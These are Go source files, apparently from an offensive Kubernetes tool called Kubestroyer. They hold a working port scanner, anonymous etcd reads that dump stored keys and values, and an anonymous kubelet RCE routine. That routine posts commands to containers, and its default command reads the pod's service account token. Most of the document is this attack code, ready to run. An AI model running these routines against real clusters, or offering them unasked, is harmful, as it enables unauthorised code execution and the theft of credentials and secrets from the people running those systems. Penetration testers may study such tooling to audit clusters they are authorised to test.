    "content": "package pkg\n\nimport (\n\t\"context\"\n\t\"crypto/tls\"\n\t\"encoding/json\"\n\t\"errors\"\n\t\"fmt\"\n\t\"github.com/AlecAivazis/survey/v2\"\n\tclientv3 \"go.etcd.io/etcd/client/v3\"\n\t\"go.uber.org/zap\"\n\t\"go.uber.org/zap/zapcore\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/Rolix44/Kubestroyer/utils\"\n)\n\nfunc surveyResult(input []string, message string) []string {\n\tvar selectedObjects []string\n\tprompt := &survey.MultiSelect{\n\t\tMessage: message,\n\t\tOptions: input,\n\t}\n\terr := survey.AskOne(prompt, &selectedObjects)\n\tif err != nil {\n\t\tlog.Fatalln(\"Failed to select :\", err)\n\t\treturn nil\n\t}\n\treturn selectedObjects\n}\n\nfunc parsePod(target string) *utils.RunningPods {\n\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\tresp, err := http.Get(\"https://\" + target + \":10250/runningpods/\")\n\tif err != nil {\n\t\tlog.Fatalf(\"Fail execute request on '%s'\", target)\n\t}\n\tdefer resp.Body.Close()\n\n\tbody, err := io.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Print(\"Fail to read body\")\n\t}\n\n\tif string(body) == \"Unauthorized\" {\n\t\tlog.Fatalln(string(body))\n\t}\n\n\tif strings.HasPrefix(string(body), \"Forbidden\") {\n\t\tlog.Fatalln(string(body))\n\t}\n\n\tpods := &utils.RunningPods{}\n\n\terr = json.Unmarshal(body, &pods)\n\tif err != nil {\n\t\tlog.Fatalln(err)\n\t}\n\treturn pods\n\n}\n\nfunc anonRce(target string) {\n\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\trunpod := parsePod(target)\n\n\tvar containers []string\n\tfor i := 0; i < len(runpod.Items); i++ {\n\t\tfor j := 0; j < len(runpod.Items[i].Spec.Containers); j++ {\n\t\t\tcontainers = append(containers, runpod.Items[i].Spec.Containers[j].Name)\n\t\t}\n\t}\n\tresult := surveyResult(containers, \"Select pod to RCE\")\n\n\tfmt.Printf(\"Trying anon RCE using '%s' for '%s'\\n\\n\", utils.RceCommand, target)\n\n\tfor _, selectedContainer := range result {\n\t\tfor i := 0; i < len(runpod.Items); i++ {\n\t\t\tfound := false\n\n\t\t\tfor j := 0; j < len(runpod.Items[i].Spec.Containers); j++ {\n\t\t\t\tnamespace := runpod.Items[i].Metadata.Namespace\n\t\t\t\tpod := runpod.Items[i].Metadata.Name\n\t\t\t\tcontainer := runpod.Items[i].Spec.Containers[j].Name\n\n\t\t\t\tif selectedContainer != container {\n\t\t\t\t\tbreak\n\t\t\t\t}\n\n\t\t\t\turl := \"https://\" + target + \":10250/run/\" + namespace + \"/\" + pod + \"/\" + container\n\t\t\t\tmethod := \"POST\"\n\n\t\t\t\tfmt.Printf(\"Namespace : '%s' \\nPod : '%s' \\nContainer : '%s' \\n\\n\", namespace, pod, container)\n\n\t\t\t\tpayload := strings.NewReader(\"cmd=\" + utils.RceCommand)\n\n\t\t\t\tclient := &http.Client{}\n\t\t\t\treq, err := http.NewRequest(method, url, payload)\n\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Println(err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\treq.Header.Add(\"Content-Type\", \"application/x-www-form-urlencoded\")\n\n\t\t\t\tres, err := client.Do(req)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Println(err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tdefer res.Body.Close()\n\n\t\t\t\tbody, err := io.ReadAll(res.Body)\n\t\t\t\tif err != nil {\n\t\t\t\t\tfmt.Println(err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\tif body != nil && !strings.Contains(string(body), \"failed\") {\n\t\t\t\t\tfound = true\n\t\t\t\t\tfmt.Println(string(body))\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tif found {\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t}\n\n\tfmt.Println(utils.Split)\n\n}\n\nfunc readEtcdObjects(target string) {\n\tloggerConfig := zap.Config{\n\t\tLevel:             zap.NewAtomicLevelAt(zapcore.ErrorLevel),\n\t\tDevelopment:       false,\n\t\tDisableCaller:     true,\n\t\tDisableStacktrace: true,\n\t\tEncoding:          \"json\",\n\t\tEncoderConfig: zapcore.EncoderConfig{\n\t\t\tTimeKey:        \"ts\",\n\t\t\tLevelKey:       \"level\",\n\t\t\tNameKey:        \"logger\",\n\t\t\tMessageKey:     \"msg\",\n\t\t\tStacktraceKey:  \"stacktrace\",\n\t\t\tLineEnding:     zapcore.DefaultLineEnding,\n\t\t\tEncodeLevel:    zapcore.LowercaseLevelEncoder,\n\t\t\tEncodeTime:     zapcore.EpochMillisTimeEncoder,\n\t\t\tEncodeDuration: zapcore.SecondsDurationEncoder,\n\t\t},\n\t\tOutputPaths:      []string{\"stdout\"},\n\t\tErrorOutputPaths: []string{\"stderr\"},\n\t}\n\n\tlogger, err := loggerConfig.Build()\n\tif err != nil {\n\t\tfmt.Printf(\"Error setting up logger: %v\", err)\n\t\treturn\n\t}\n\tzap.ReplaceGlobals(logger)\n\n\tcli, err := clientv3.New(clientv3.Config{\n\t\tEndpoints:   []string{target + \":2379\"},\n\t\tDialTimeout: 5 * time.Second,\n\t\tLogger:      logger,\n\t})\n\tif err != nil {\n\t\tif errStatus, ok := status.FromError(err); ok && errStatus.Code() == codes.Unavailable {\n\t\t\tfmt.Println(\"Cannot connect to etcd: the server might be down or misconfigured\")\n\t\t} else {\n\t\t\tfmt.Printf(\"Failed to connect to etcd: %v\\n\", err)\n\t\t}\n\t\treturn\n\t}\n\tdefer cli.Close()\n\n\tctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)\n\tdefer cancel()\n\n\tresp, err := cli.Get(ctx, \"/\", clientv3.WithKeysOnly(), clientv3.WithPrefix())\n\tif err != nil {\n\t\tif errors.Is(err, context.Canceled) {\n\t\t\tfmt.Println(\"Context canceled\")\n\t\t} else if errors.Is(err, context.DeadlineExceeded) {\n\t\t\tfmt.Println(\"Operation timed out\")\n\t\t} else {\n\t\t\tfmt.Printf(\"Failed to retrieve keys: %v\\n\", err)\n\t\t}\n\t\treturn\n\t}\n\n\tvar objects []string\n\tfor _, data := range resp.Kvs {\n\t\tobjects = append(objects, string(data.Key))\n\t}\n\tif len(objects) == 0 {\n\t\tfmt.Println(\"No objects found in Etcd\")\n\t\treturn\n\t}\n\n\tselectedObjects := surveyResult(objects, \"Select objects to print:\")\n\n\tfor _, selected := range selectedObjects {\n\t\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\n\t\tresp, err := cli.Get(ctx, selected)\n\t\tcancel()\n\t\tif err != nil {\n\t\t\tfmt.Printf(\"Error fetching value for %s: %v\\n\", selected, err)\n\t\t\tcontinue\n\t\t}\n\t\tfmt.Printf(\"Value for %s:\\n %s\\n\", selected, resp.Kvs[0].Value)\n\t}\n\n\tfmt.Println(utils.Split)\n}\n"
  },
  {
    "path": "pkg/scanning.go",
    "content": "package pkg\n\nimport (\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/Rolix44/Kubestroyer/utils\"\n)\n\nvar openPort []int\n\nfunc nodeportScan(target string, port int) {\n\td := net.Dialer{Timeout: 5}\n\tservAddr := target + \":\" + strconv.Itoa(port)\n\t_, err := d.Dial(\"tcp\", servAddr)\n\tif err != nil {\n\t\treturn\n\t}\n\topenPort = append(openPort, port)\n\n}\n\nfunc sendHttpRequest(target string, port int, endpoint string) {\n\thttp.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}\n\tclient := http.Client{\n\t\tTimeout: 3 * time.Second,\n\t}\n\tresp, err := client.Get(target + \":\" + strconv.Itoa(port) + endpoint)\n\tif err == nil {\n\t\topenPort = append(openPort, port)\n\t\tdefer resp.Body.Close()\n\t}\n}\n\nfunc checkPorts(target string) {\n\tfmt.Printf(\"Starting port scan for '%s'... \\n\\n\", target)\n\topenPort = nil\n\n\tif utils.ScanNode {\n\t\tfor port := 30000; port <= 32767; port++ {\n\t\t\tnodeportScan(target, port)\n\t\t}\n\t}\n\ttarget = \"http://\" + target\n\tendpoint := \"/\"\n\n\tfor port := range utils.KnownPorts {\n\t\tif port == 10250 || port == 443 {\n\t\t\ttarget := strings.Replace(target, \"http\", \"https\", 1)\n\t\t\tif port == 10250 {\n\t\t\t\tendpoint = \"/metrics\"\n\t\t\t}\n\t\t\tsendHttpRequest(target, port, endpoint)\n\t\t\tendpoint = \"/\"\n\t\t} else {\n\t\t\tsendHttpRequest(target, port, endpoint)\n\t\t}\n\n\t}\n\n\tif len(openPort) != 0 {\n\t\tfor _, port := range openPort {\n\t\t\tfmt.Println(\"\\x1b[1;32m[+]\\x1b[0m port \" + strconv.Itoa(port) + \" open (\" + utils.KnownPorts[port] + \")\")\n\t\t}\n\t} else {\n\t\tfmt.Println(\"\\x1b[1;31mNo open ports found !\\x1b[0m\")\n\t}\n\tfmt.Println(utils.Split)\n\n}\n"
  },
  {
    "path": "utils/config.go",
    "content": "package utils\n\nimport (\n\t\"github.com/pborman/getopt/v2\"\n)\n\ntype RunningPods struct {\n\tKind       string `json:\"kind\"`\n\tAPIVersion string `json:\"apiVersion\"`\n\tMetadata   struct {\n\t} `json:\"metadata\"`\n\tItems []struct {\n\t\tMetadata struct {\n\t\t\tName              string      `json:\"name\"`\n\t\t\tNamespace         string      `json:\"namespace\"`\n\t\t\tUID               string      `json:\"uid\"`\n\t\t\tCreationTimestamp interface{} `json:\"creationTimestamp\"`\n\t\t} `json:\"metadata\"`\n\t\tSpec struct {\n\t\t\tContainers []struct {\n\t\t\t\tName      string `json:\"name\"`\n\t\t\t\tImage     string `json:\"image\"`\n\t\t\t\tResources struct {\n\t\t\t\t} `json:\"resources\"`\n\t\t\t} `json:\"containers\"`\n\t\t} `json:\"spec\"`\n\t\tStatus struct {\n\t\t} `json:\"status\"`\n\t} `json:\"items\"`\n}\n\nvar Target string\nvar Targets []string\nvar AnonRce = false\nvar RceCommand = \"cat /var/run/secrets/kubernetes.io/serviceaccount/token\"\nvar ScanNode = false\nvar ScanEtcd = false\n\nfunc Config() {\n\n\tgetopt.FlagLong(&Target, \"target\", 't', \"Target (IP, domain or file)\").Mandatory()\n\tgetopt.FlagLong(&ScanNode, \"node-scan\", 0, \"Enable/disable node port scan\").SetOptional()\n\tgetopt.FlagLong(&AnonRce, \"anon-rce\", 0, \"Try to RCE if kubelet API is open\").SetOptional()\n\tgetopt.Flag(&RceCommand, 'x', \"Command to execute when using RCE\")\n\tgetopt.FlagLong(&ScanEtcd, \"etcd\", 0, \"Try Etcd anonymous read\").SetOptional()\n\n\tgetopt.Parse()\n}\n"
  },
  {
    "path": "utils/display.go",
    "content": "package utils\n\nvar Toolname string = `\n _   __      _               _                             \n| | / /     | |             | |                            \n| |/ / _   _| |__   ___  ___| |_ _ __ ___  _   _  ___ _ __ \n|    \\| | | | '_ \\ / _ \\/ __| __| '__/ _ \\| | | |/ _ \\ '__| v0.3.0\n| |\\  \\ |_| | |_) |  __/\\__ \\ |_| | | (_) | |_| |  __/ |   \n\\_| \\_/\\__,_|_.__/ \\___||___/\\__|_|  \\___/ \\__, |\\___|_|   \n                                            __/ |          \n                                           |___/ `\nvar Author = `\t\t\t                        By Rolix`\nvar Split = `\n--------------------------------------------------------`\n"
  },
  {
    "path": "utils/ports.go",
    "content": "package utils\n\nfunc init() {\n\taddKnownServicePort()\n}\n\nvar KnownPorts = map[int]string{\n\t443:   \"Kubernetes API port\",\n\t2379:  \"Etcd\",\n\t6666:  \"Etcd\",\n\t4194:  \"cAdvisor for containers metrics\",\n\t6443:  \"Kubernetes API port\",\n\t8443:  \"Minikube API port\",\n\t8080:  \"Insecure API port\",\n\t10250: \"Kubelet API anonymous port\",\n\t10255: \"Kubelet API read only\",\n\t10256: \"Kube proxy health check server\",\n\t9099:  \"Calico health check server\",\n\t6782:  \"Weave metrics/endpoints\",\n\t6783:  \"Weave metrics/endpoints\",\n\t6784:  \"Weave metrics/endpoints\",\n\t44134: \"Tiller service listening\",\n}\n\nfunc addKnownServicePort() {\n\tfor port := 30000; port <= 32767; port++ {\n\t\tKnownPorts[port] = \"Possible NodePort service\"\n\t}\n}\n"
  }
]